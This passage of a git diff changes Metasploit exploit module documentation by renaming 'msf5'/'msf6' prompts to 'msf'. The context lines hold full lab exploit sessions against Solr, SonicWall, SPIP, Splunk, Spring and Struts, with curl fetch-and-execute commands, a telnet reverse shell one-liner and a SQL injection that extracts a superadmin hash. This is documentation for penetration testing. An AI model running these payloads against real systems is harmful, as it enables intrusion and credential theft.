exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128 +msf exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128 LHOST => 192.168.137.128 -msf5 exploit(multi/http/solr_velocity_rce) > set LPORT 4444 +msf exploit(multi/http/solr_velocity_rce) > set LPORT 4444 LPORT => 4444 -msf5 exploit(multi/http/solr_velocity_rce) > set CMD whoami +msf exploit(multi/http/solr_velocity_rce) > set CMD whoami CMD => whoami -msf5 exploit(multi/http/solr_velocity_rce) > exploit +msf exploit(multi/http/solr_velocity_rce) > exploit [*] Started reverse TCP handler on 192.168.137.128:4444 [*] Found Apache Solr 8.3.0 @@ -218,27 +218,27 @@ msf5 exploit(multi/http/solr_velocity_rce) > exploit [*] Targeting core 'techproducts' [+] solr [*] Exploit completed, but no session was created. -msf5 exploit(multi/http/solr_velocity_rce) > +msf exploit(multi/http/solr_velocity_rce) > ``` ### Bitnami Solr VM 8.3.0, requiring basic authentication, using CmdStager, with payload `linux/x86/meterpreter/reverse_tcp` ``` -msf5 > use exploit/multi/http/solr_velocity_rce -msf5 exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.129 +msf > use exploit/multi/http/solr_velocity_rce +msf exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.129 RHOSTS => 192.168.137.129 -msf5 exploit(multi/http/solr_velocity_rce) > set RPORT 80 +msf exploit(multi/http/solr_velocity_rce) > set RPORT 80 RPORT => 80 -msf5 exploit(multi/http/solr_velocity_rce) > set USERNAME user +msf exploit(multi/http/solr_velocity_rce) > set USERNAME user USERNAME => user -msf5 exploit(multi/http/solr_velocity_rce) > set PASSWORD j6lzH82e6Jc5 +msf exploit(multi/http/solr_velocity_rce) > set PASSWORD j6lzH82e6Jc5 PASSWORD => j6lzH82e6Jc5 -msf5 exploit(multi/http/solr_velocity_rce) > set TARGET 1 +msf exploit(multi/http/solr_velocity_rce) > set TARGET 1 TARGET => 1 -msf5 exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128 +msf exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128 LHOST => 192.168.137.128 -msf5 exploit(multi/http/solr_velocity_rce) > set LPORT 4444 +msf exploit(multi/http/solr_velocity_rce) > set LPORT 4444 LPORT => 4444 -msf5 exploit(multi/http/solr_velocity_rce) > exploit +msf exploit(multi/http/solr_velocity_rce) > exploit [*] Started reverse TCP handler on 192.168.137.128:4444 [*] Found Apache Solr 8.3.0 diff --git a/documentation/modules/exploit/multi/http/sonicwall_shell_injection_cve_2023_34124.md b/documentation/modules/exploit/multi/http/sonicwall_shell_injection_cve_2023_34124.md index 8806ea2eb14b8..5f667864d78cc 100644 --- a/documentation/modules/exploit/multi/http/sonicwall_shell_injection_cve_2023_34124.md +++ b/documentation/modules/exploit/multi/http/sonicwall_shell_injection_cve_2023_34124.md @@ -61,15 +61,15 @@ executes it, and deletes it. No special configuration should be necessary, and you get `root` access: ``` -msf6 > use exploit/multi/http/sonicwall_shell_injection_cve_2023_34124 +msf > use exploit/multi/http/sonicwall_shell_injection_cve_2023_34124 [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set RHOST 10.0.0.89 +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set RHOST 10.0.0.89 RHOST => 10.0.0.89 -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set LHOST 10.0.0.227 +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set LHOST 10.0.0.227 LHOST => 10.0.0.227 -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set VERBOSE true +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set VERBOSE true VERBOSE => true -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > exploit +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > exploit [*] Started reverse TCP handler on 10.0.0.227:4444 [*] Attempting to use SQL injection to grab the password hash for the superadmin user... @@ -101,19 +101,19 @@ that have the `curl.exe` utility. It fetches and executes a payload using encoded Powershell commands, granting `SYSTEM` access: ``` -msf6 > use exploit/multi/http/sonicwall_shell_injection_cve_2023_34124 +msf > use exploit/multi/http/sonicwall_shell_injection_cve_2023_34124 [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set TARGET 1 +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set TARGET 1 TARGET => 1 -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set LHOST 10.0.0.227 +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set LHOST 10.0.0.227 LHOST => 10.0.0.227 -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set RHOST 10.0.0.79 +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set RHOST 10.0.0.79 RHOST => 10.0.0.79 -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set FETCH_SRVHOST 10.0.0.227 +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set FETCH_SRVHOST 10.0.0.227 FETCH_SRVHOST => 10.0.0.227 -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set VERBOSE true +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set VERBOSE true VERBOSE => true -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > exploit +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > exploit [*] Command to run on remote host: curl -so hQwPyfWWi.exe http://10.0.0.227:8080/jmQsj96o2bA9WhizsOs40Q & start /B hQwPyfWWi.exe [*] Fetch Handler listening on 10.0.0.227:8080 @@ -148,19 +148,19 @@ The Windows target can also run a generic Windows payload. You won't see the output, though. ``` -msf6 > use exploit/multi/http/sonicwall_shell_injection_cve_2023_34124 +msf > use exploit/multi/http/sonicwall_shell_injection_cve_2023_34124 [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set TARGET 1 +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set TARGET 1 TARGET => 1 -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set PAYLOAD cmd/windows/generic +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set PAYLOAD cmd/windows/generic PAYLOAD => cmd/windows/generic -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set RHOST 10.0.0.79 +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set RHOST 10.0.0.79 RHOST => 10.0.0.79 -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set CMD "echo hi > c:\\users\\administrator\\desktop\\test.txt" +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set CMD "echo hi > c:\\users\\administrator\\desktop\\test.txt" CMD => echo hi > c:\users\administrator\desktop\test.txt -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set DisablePayloadHandler true +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set DisablePayloadHandler true DisablePayloadHandler => true -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > exploit +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > exploit [*] Attempting to use SQL injection to grab the password hash for the superadmin user... [*] Generated SQL injection: ' union select (select ID from SGMSDB.DOMAINS limit 1), '', '', '', '', '', (select concat(id, ':', password) from sgmsdb.users where active = '1' order by issuperadmin desc limit 1 offset 0),'', '', ' [*] Generated a token using built-in secret key: /J50ZtvLJddOf5FI4nYdMJcX8IQ= @@ -179,15 +179,15 @@ msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > exploit Validate: ``` -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set PAYLOAD cmd/windows/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set PAYLOAD cmd/windows/http/x64/meterpreter/reverse_tcp PAYLOAD => cmd/windows/http/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set LHOST 10.0.0.227 +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set LHOST 10.0.0.227 LHOST => 10.0.0.227 -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set FETCH_SRVHOST 10.0.0.227 +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set FETCH_SRVHOST 10.0.0.227 FETCH_SRVHOST => 10.0.0.227 -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set VERBOSE false +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set VERBOSE false VERBOSE => false -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > exploit +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > exploit [*] Started reverse TCP handler on 10.0.0.227:4444 [*] Sending SQL injection request to get the username/hash... @@ -211,17 +211,17 @@ basically the same as the Linux dropper. Like Windows, you won't see the output. ``` -msf6 > use exploit/multi/http/sonicwall_shell_injection_cve_2023_34124 +msf > use exploit/multi/http/sonicwall_shell_injection_cve_2023_34124 [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set TARGET 2 +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set TARGET 2 TARGET => 2 -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set RHOST 10.0.0.89 +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set RHOST 10.0.0.89 RHOST => 10.0.0.89 -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set CMD 'touch /tmp/iassureyouiexecuted' +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set CMD 'touch /tmp/iassureyouiexecuted' CMD => touch /tmp/iassureyouiexecuted -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set VERBOSE true +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set VERBOSE true VERBOSE => true -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > exploit +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > exploit [+] touch /tmp/iassureyouiexecuted [*] Attempting to use SQL injection to grab the password hash for the superadmin user... @@ -243,13 +243,13 @@ msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > exploit To validate: ``` -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set TARGET 0 +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set TARGET 0 TARGET => 0 -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set LHOST 10.0.0.227 +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set LHOST 10.0.0.227 LHOST => 10.0.0.227 -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set VERBOSE false +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > set VERBOSE false VERBOSE => false -msf6 exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > exploit +msf exploit(multi/http/sonicwall_shell_injection_cve_2023_34124) > exploit [*] Started reverse TCP handler on 10.0.0.227:4444 [*] Sending SQL injection request to get the username/hash... diff --git a/documentation/modules/exploit/multi/http/spip_bigup_unauth_rce.md b/documentation/modules/exploit/multi/http/spip_bigup_unauth_rce.md index f30f2b0a78b57..511d1eff3f823 100644 --- a/documentation/modules/exploit/multi/http/spip_bigup_unauth_rce.md +++ b/documentation/modules/exploit/multi/http/spip_bigup_unauth_rce.md @@ -99,7 +99,7 @@ exploit With `php/meterpreter/reverse_tcp`: ```bash -msf6 exploit(multi/http/spip_bigup_unauth_rce) > run http://127.0.0.1:8000 +msf exploit(multi/http/spip_bigup_unauth_rce) > run http://127.0.0.1:8000 [*] Started reverse TCP handler on 192.168.1.36:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -122,7 +122,7 @@ Meterpreter : php/linux With `cmd/linux/http/x64/meterpreter/reverse_tcp`: ```bash -msf6 exploit(multi/http/spip_bigup_unauth_rce) > run http://127.0.0.1:8000 +msf exploit(multi/http/spip_bigup_unauth_rce) > run http://127.0.0.1:8000 [*] Started reverse TCP handler on 192.168.1.36:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/spip_connect_exec.md b/documentation/modules/exploit/multi/http/spip_connect_exec.md index d5da9a26c68e3..3dc8defda88f0 100644 --- a/documentation/modules/exploit/multi/http/spip_connect_exec.md +++ b/documentation/modules/exploit/multi/http/spip_connect_exec.md @@ -98,7 +98,7 @@ This executes a Windows command. ### SPIP 2.0.0 - Linux target - PHP In-Memory ``` -msf6 exploit(multi/http/spip_connect_exec) > run http://192.168.1.36:8000/ +msf exploit(multi/http/spip_connect_exec) > run http://192.168.1.36:8000/ [*] Started reverse TCP handler on 192.168.1.36:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -118,7 +118,7 @@ meterpreter > ### SPIP 2.0.0 - Unix/Linux Command Shell ``` -msf6 exploit(multi/http/spip_connect_exec) > run http://192.168.1.36:8000/ +msf exploit(multi/http/spip_connect_exec) > run http://192.168.1.36:8000/ [*] Started reverse TCP handler on 192.168.1.36:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/spip_porte_plume_previsu_rce.md b/documentation/modules/exploit/multi/http/spip_porte_plume_previsu_rce.md index 5920d9dd32bfa..1062eb719c620 100644 --- a/documentation/modules/exploit/multi/http/spip_porte_plume_previsu_rce.md +++ b/documentation/modules/exploit/multi/http/spip_porte_plume_previsu_rce.md @@ -121,7 +121,7 @@ exploit With `php/meterpreter/reverse_tcp`: ``` -msf6 exploit(multi/http/spip_porte_plume_previsu_rce) > run http://127.0.0.1:8000 +msf exploit(multi/http/spip_porte_plume_previsu_rce) > run http://127.0.0.1:8000 [*] Started reverse TCP handler on 192.168.1.36:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -143,7 +143,7 @@ Meterpreter : php/linux With `cmd/linux/http/x64/meterpreter/reverse_tcp`: ``` -msf6 exploit(multi/http/spip_porte_plume_previsu_rce) > run http://127.0.0.1:8000 +msf exploit(multi/http/spip_porte_plume_previsu_rce) > run http://127.0.0.1:8000 [*] Command to run on remote host: curl -so ./gYBuGbOLFH http://192.168.1.36:8080/LoPlnjEpeOexZNVppn6cAA; chmod +x ./gYBuGbOLFH; ./gYBuGbOLFH & [*] Fetch handler listening on 192.168.1.36:8080 diff --git a/documentation/modules/exploit/multi/http/spip_rce_form.md b/documentation/modules/exploit/multi/http/spip_rce_form.md index 97d7b6470caa0..79be25d5a1b46 100644 --- a/documentation/modules/exploit/multi/http/spip_rce_form.md +++ b/documentation/modules/exploit/multi/http/spip_rce_form.md @@ -75,7 +75,7 @@ This executes a Windows command. ## Scenarios ### SPIP 4.2.0 - Linux target - PHP In-Memory ``` -msf6 exploit(multi/http/spip_rce_form) > run http://127.0.0.1:8000 +msf exploit(multi/http/spip_rce_form) > run http://127.0.0.1:8000 [*] Started reverse TCP handler on 192.168.1.36:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -96,7 +96,7 @@ meterpreter > ### SPIP 4.2.0 - Unix/Linux Command Shell ``` -msf6 exploit(multi/http/spip_rce_form) > run http://127.0.0.1:8000 +msf exploit(multi/http/spip_rce_form) > run http://127.0.0.1:8000 [*] Started reverse TCP handler on 192.168.1.36:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -119,7 +119,7 @@ meterpreter > ### SPIP 4.2.0 - Windows Command Shell ``` -msf6 exploit(multi/http/spip_rce_form) > run http://192.168.1.48 +msf exploit(multi/http/spip_rce_form) > run http://192.168.1.48 [*] Started reverse TCP handler on 192.168.1.36:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/splunk_privilege_escalation_cve_2023_32707.md b/documentation/modules/exploit/multi/http/splunk_privilege_escalation_cve_2023_32707.md index d11f88aef30f3..23287baee0dcc 100644 --- a/documentation/modules/exploit/multi/http/splunk_privilege_escalation_cve_2023_32707.md +++ b/documentation/modules/exploit/multi/http/splunk_privilege_escalation_cve_2023_32707.md @@ -88,18 +88,18 @@ The name of the app to upload (default: random) If the user you have access doen't have the capability `edit_user` the module will fail as shown below: ``` -msf6 exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > check +msf exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > check [*] Splunk version 9.0.4 detected [*] 127.0.0.1:8000 - The target is not exploitable. User 'redway' does not have 'edit_user' capability -msf6 exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > +msf exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > ``` If the targeted user does have the capability `install_apps` the module will fail as shown below: ``` -msf6 exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > exploit +msf exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > exploit [*] Started reverse TCP handler on 172.17.0.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -109,11 +109,11 @@ msf6 exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > exploit [+] Password of the user 'user' has bee changed to yMDIOKyrHoUx [-] Exploit aborted due to failure: bad-config: The user 'user' does not have 'install_app' capability. You may consider to target other user [*] Exploit completed, but no session was created. -msf6 exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > +msf exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > ``` ``` -msf6 exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > options +msf exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > options Module options (exploit/multi/http/splunk_privilege_escalation_cve_2023_32707): @@ -150,7 +150,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > exploit +msf exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > exploit [*] Started reverse TCP handler on 172.17.0.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -178,7 +178,7 @@ exit On a **non-vulnerable** version the module will fail as shown below: ``` -msf6 exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > exploit +msf exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > exploit [*] Started reverse TCP handler on 172.17.0.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -186,9 +186,9 @@ msf6 exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > exploit [*] Changing 'admin' password to iDKBmVsj [-] Exploit aborted due to failure: unexpected-reply: Unable to change admin's password. [*] Exploit completed, but no session was created. -msf6 exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > set ForceExploit true +msf exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > set ForceExploit true ForceExploit => true -msf6 exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > exploit +msf exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > exploit [*] Started reverse TCP handler on 172.17.0.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -196,5 +196,5 @@ msf6 exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > exploit [*] Changing 'admin' password to scupUXtcV [-] Exploit aborted due to failure: unexpected-reply: Unable to change admin's password. [*] Exploit completed, but no session was created. -msf6 exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > +msf exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > ``` diff --git a/documentation/modules/exploit/multi/http/splunk_upload_app_exec.md b/documentation/modules/exploit/multi/http/splunk_upload_app_exec.md index 1801c0168f576..39e72013c343f 100644 --- a/documentation/modules/exploit/multi/http/splunk_upload_app_exec.md +++ b/documentation/modules/exploit/multi/http/splunk_upload_app_exec.md @@ -50,12 +50,12 @@ This module has been tested successfully against: ### Tested against 7.2.4 running on OSX 10.14.3 ``` -msf5 exploit(multi/http/splunk_upload_app_exec) > -msf5 exploit(multi/http/splunk_upload_app_exec) > set RHOST 172.16.165.1 +msf exploit(multi/http/splunk_upload_app_exec) > +msf exploit(multi/http/splunk_upload_app_exec) > set RHOST 172.16.165.1 RHOST => 172.16.165.1 -msf5 exploit(multi/http/splunk_upload_app_exec) > set password splunksplunk +msf exploit(multi/http/splunk_upload_app_exec) > set password splunksplunk password => splunksplunk -msf5 exploit(multi/http/splunk_upload_app_exec) > show targets +msf exploit(multi/http/splunk_upload_app_exec) > show targets Exploit targets: @@ -69,9 +69,9 @@ Exploit targets: 5 Splunk >= 5.0.1 / Windows -msf5 exploit(multi/http/splunk_upload_app_exec) > set target 3 +msf exploit(multi/http/splunk_upload_app_exec) > set target 3 target => 3 -msf5 exploit(multi/http/splunk_upload_app_exec) > exploit +msf exploit(multi/http/splunk_upload_app_exec) > exploit [*] Started reverse TCP double handler on 172.16.165.206:4444 [*] Using command: sh -c '(sleep 3733|telnet 172.16.165.206 4444|while : ; do sh && break; done 2>&1|telnet 172.16.165.206 4444 >/dev/null 2>&1 &)' diff --git a/documentation/modules/exploit/multi/http/spring_cloud_function_spel_injection.md b/documentation/modules/exploit/multi/http/spring_cloud_function_spel_injection.md index 3039b2c065482..9b1094af411ce 100644 --- a/documentation/modules/exploit/multi/http/spring_cloud_function_spel_injection.md +++ b/documentation/modules/exploit/multi/http/spring_cloud_function_spel_injection.md @@ -26,7 +26,7 @@ execution. Both patched and unpatched servers will respond with a 500 server err ### Spring Cloud Function v3.1.6 on Fedora 34 ``` -msf6 exploit(multi/http/spring_could_function_spel_injection) > show options +msf exploit(multi/http/spring_could_function_spel_injection) > show options Module options (exploit/multi/http/spring_could_function_spel_injection): @@ -59,7 +59,7 @@ Exploit target: 0 Unix Command -msf6 exploit(multi/http/spring_could_function_spel_injection) > exploit +msf exploit(multi/http/spring_could_function_spel_injection) > exploit [*] Started reverse TCP handler on 192.168.250.134:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/spring_framework_rce_spring4shell.md b/documentation/modules/exploit/multi/http/spring_framework_rce_spring4shell.md index 473e83e925a6a..6902c73c4f2ee 100644 --- a/documentation/modules/exploit/multi/http/spring_framework_rce_spring4shell.md +++ b/documentation/modules/exploit/multi/http/spring_framework_rce_spring4shell.md @@ -36,9 +36,9 @@ The target is the [vulhub container](https://github.com/vulhub/vulhub/tree/maste GET HTTP method. ``` -msf6 > use exploit/multi/http/spring_framework_rce_spring4shell +msf > use exploit/multi/http/spring_framework_rce_spring4shell [*] No payload configured, defaulting to generic/shell_reverse_tcp -msf6 exploit(multi/http/spring_framework_rce_spring4shell) > show options +msf exploit(multi/http/spring_framework_rce_spring4shell) > show options Module options (exploit/multi/http/spring_framework_rce_spring4shell): @@ -69,9 +69,9 @@ Exploit target: 0 Java -msf6 exploit(multi/http/spring_framework_rce_spring4shell) > set PAYLOAD java/jsp_shell_reverse_tcp +msf exploit(multi/http/spring_framework_rce_spring4shell) > set PAYLOAD java/jsp_shell_reverse_tcp PAYLOAD => java/jsp_shell_reverse_tcp -msf6 exploit(multi/http/spring_framework_rce_spring4shell) > exploit http://192.168.159.128:8080/ +msf exploit(multi/http/spring_framework_rce_spring4shell) > exploit http://192.168.159.128:8080/ [*] Started reverse TCP handler on 192.168.250.134:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -96,13 +96,13 @@ The target is the [vleminator container](https://github.com/vleminator/Spring4Sh POST HTTP method. ``` -msf6 > use exploit/multi/http/spring_framework_rce_spring4shell +msf > use exploit/multi/http/spring_framework_rce_spring4shell [*] Using configured payload java/jsp_shell_reverse_tcp -msf6 exploit(multi/http/spring_framework_rce_spring4shell) > set TARGET Linux +msf exploit(multi/http/spring_framework_rce_spring4shell) > set TARGET Linux TARGET => Linux -msf6 exploit(multi/http/spring_framework_rce_spring4shell) > set PAYLOAD linux/x64/meterpreter/reverse_tcp +msf exploit(multi/http/spring_framework_rce_spring4shell) > set PAYLOAD linux/x64/meterpreter/reverse_tcp PAYLOAD => linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/spring_framework_rce_spring4shell) > show options +msf exploit(multi/http/spring_framework_rce_spring4shell) > show options Module options (exploit/multi/http/spring_framework_rce_spring4shell): @@ -133,7 +133,7 @@ Exploit target: 1 Linux -msf6 exploit(multi/http/spring_framework_rce_spring4shell) > exploit http://192.168.159.128:8085/helloworld/greeting +msf exploit(multi/http/spring_framework_rce_spring4shell) > exploit http://192.168.159.128:8085/helloworld/greeting [*] Started reverse TCP handler on 192.168.250.134:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/struts2_multi_eval_ognl.md b/documentation/modules/exploit/multi/http/struts2_multi_eval_ognl.md index 0a4aaf3f20dab..367bb9cf0e7d3 100644 --- a/documentation/modules/exploit/multi/http/struts2_multi_eval_ognl.md +++ b/documentation/modules/exploit/multi/http/struts2_multi_eval_ognl.md @@ -89,19 +89,19 @@ An optional cookie to include when making the HTTP request. ### CVE-2020-17530 From Vulhub ``` -msf6 > use exploit/multi/http/struts2_multi_eval_ognl +msf > use exploit/multi/http/struts2_multi_eval_ognl [*] No payload configured, defaulting to cmd/unix/reverse_netcat -msf6 exploit(multi/http/struts2_multi_eval_ognl) > set RHOSTS 192.168.159.128 +msf exploit(multi/http/struts2_multi_eval_ognl) > set RHOSTS 192.168.159.128 RHOSTS => 192.168.159.128 -msf6 exploit(multi/http/struts2_multi_eval_ognl) > set TARGET Linux\ Dropper +msf exploit(multi/http/struts2_multi_eval_ognl) > set TARGET Linux\ Dropper TARGET => Linux Dropper -msf6 exploit(multi/http/struts2_multi_eval_ognl) > set PAYLOAD linux/x64/meterpreter/reverse_tcp +msf exploit(multi/http/struts2_multi_eval_ognl) > set PAYLOAD linux/x64/meterpreter/reverse_tcp PAYLOAD => linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/struts2_multi_eval_ognl) > set LHOST 192.168.159.128 +msf exploit(multi/http/struts2_multi_eval_ognl) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 -msf6 exploit(multi/http/struts2_multi_eval_ognl) > check +msf exploit(multi/http/struts2_multi_eval_ognl) > check [*] 192.168.159.128:8080 - The target appears to be vulnerable. -msf6 exploit(multi/http/struts2_multi_eval_ognl) > exploit +msf exploit(multi/http/struts2_multi_eval_ognl) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -126,19 +126,19 @@ meterpreter > ### CVE-2019-0230 From Vulhub ``` -msf6 > use exploit/multi/http/struts2_multi_eval_ognl +msf > use exploit/multi/http/struts2_multi_eval_ognl [*] No payload configured, defaulting to cmd/unix/reverse_netcat -msf6 exploit(multi/http/struts2_multi_eval_ognl) > set RHOSTS 192.168.159.128 +msf exploit(multi/http/struts2_multi_eval_ognl) > set RHOSTS 192.168.159.128 RHOSTS => 192.168.159.128 -msf6 exploit(multi/http/struts2_multi_eval_ognl) > set CVE CVE-2019-0230 +msf exploit(multi/http/struts2_multi_eval_ognl) > set CVE CVE-2019-0230 CVE => CVE-2019-0230 -msf6 exploit(multi/http/struts2_multi_eval_ognl) > set TARGET Linux\ Dropper +msf exploit(multi/http/struts2_multi_eval_ognl) > set TARGET Linux\ Dropper TARGET => Linux Dropper -msf6 exploit(multi/http/struts2_multi_eval_ognl) > set LHOST 192.168.159.128 +msf exploit(multi/http/struts2_multi_eval_ognl) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 -msf6 exploit(multi/http/struts2_multi_eval_ognl) > check +msf exploit(multi/http/struts2_multi_eval_ognl) > check [*] 192.168.159.128:8080 - The target appears to be vulnerable. -msf6 exploit(multi/http/struts2_multi_eval_ognl) > exploit +msf exploit(multi/http/struts2_multi_eval_ognl) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/multi/http/struts2_namespace_ognl.md b/documentation/modules/exploit/multi/http/struts2_namespace_ognl.md index e27ad3ef7d607..0c1caed2698ed 100644 --- a/documentation/modules/exploit/multi/http/struts2_namespace_ognl.md +++ b/documentation/modules/exploit/multi/http/struts2_namespace_ognl.md @@ -123,42 +123,42 @@ Checking a vulnerable endpoint, as installed in the above steps: ``` msf > use exploit/multi/http/struts_namespace_ognl -msf5 exploit(multi/http/struts_namespace_ognl) > set RHOSTS 192.168.199.135 -msf5 exploit(multi/http/struts_namespace_ognl) > set RPORT 32771 -msf5 exploit(multi/http/struts_namespace_ognl) > set ACTION help.action +msf exploit(multi/http/struts_namespace_ognl) > set RHOSTS 192.168.199.135 +msf exploit(multi/http/struts_namespace_ognl) > set RPORT 32771 +msf exploit(multi/http/struts_namespace_ognl) > set ACTION help.action ACTION => help.action -msf5 exploit(multi/http/struts_namespace_ognl) > check +msf exploit(multi/http/struts_namespace_ognl) > check [+] 192.168.199.135:32771 The target is vulnerable. ``` Running an arbitrary command on the above-described environment: ``` -msf5 exploit(multi/http/struts_namespace_ognl) > set VERBOSE true -msf5 exploit(multi/http/struts_namespace_ognl) > set PAYLOAD cmd/unix/generic +msf exploit(multi/http/struts_namespace_ognl) > set VERBOSE true +msf exploit(multi/http/struts_namespace_ognl) > set PAYLOAD cmd/unix/generic PAYLOAD => cmd/unix/generic -msf5 exploit(multi/http/struts_namespace_ognl) > set CMD hostname +msf exploit(multi/http/struts_namespace_ognl) > set CMD hostname CMD => hostname -msf5 exploit(multi/http/struts_namespace_ognl) > run +msf exploit(multi/http/struts_namespace_ognl) > run [*] 